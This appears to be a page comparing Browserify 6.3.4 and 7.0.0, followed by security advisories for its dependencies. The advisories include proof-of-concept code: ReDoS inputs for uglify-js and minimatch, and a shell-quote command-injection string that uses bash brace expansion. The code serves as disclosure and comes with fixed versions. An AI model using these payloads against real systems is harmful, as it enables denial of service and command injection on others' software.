Browserify 7.0.0 introduces subtle but important updates compared to version 6.3.4, primarily focusing on dependency improvements. Both versions share the same core functionality, allowing developers to write Node.js-style modules that run in the browser, using the familiar require() syntax. They both rely on a comprehensive suite of dependencies to achieve this, including modules for URL handling (url), globbing file patterns (glob), utilities (util), and essential browser-compatible shims for core Node.js modules like buffer, process, and stream.
However, a key difference lies in the module-deps dependency. Version 7.0.0 updates to module-deps@^3.6.0 from module-deps@^3.5.0 which might include bug fixes and performance improvements related to dependency resolution. While the rest of the dependencies in the "dependencies" section remain at the same version. This shift, even if seemingly minor, can affect how Browserify analyzes and bundles your project's dependencies, potentially impacting build times or resolving edge cases in module resolution. Developers upgrading should test their builds thoroughly to ensure compatibility.
Both versions use the same development dependencies to build browserify itself, so the only difference between the 2 versions lies in an updated dependency for the core functionality.
For developers choosing between these versions, it's important to evaluate whether the updates in module-deps are necessary for their specific project requirements. If you're experiencing issues with dependency resolution in version 6.3.4, upgrading to 7.0.0 might resolve them. Always review the changelog for module-deps to understand the specific changes introduced.
All the vulnerabilities related to the version 7.0.0 of the package
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Potential Command Injection in shell-quote
Affected versions of shell-quote do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >,;,{,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {} and using the , instead of to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.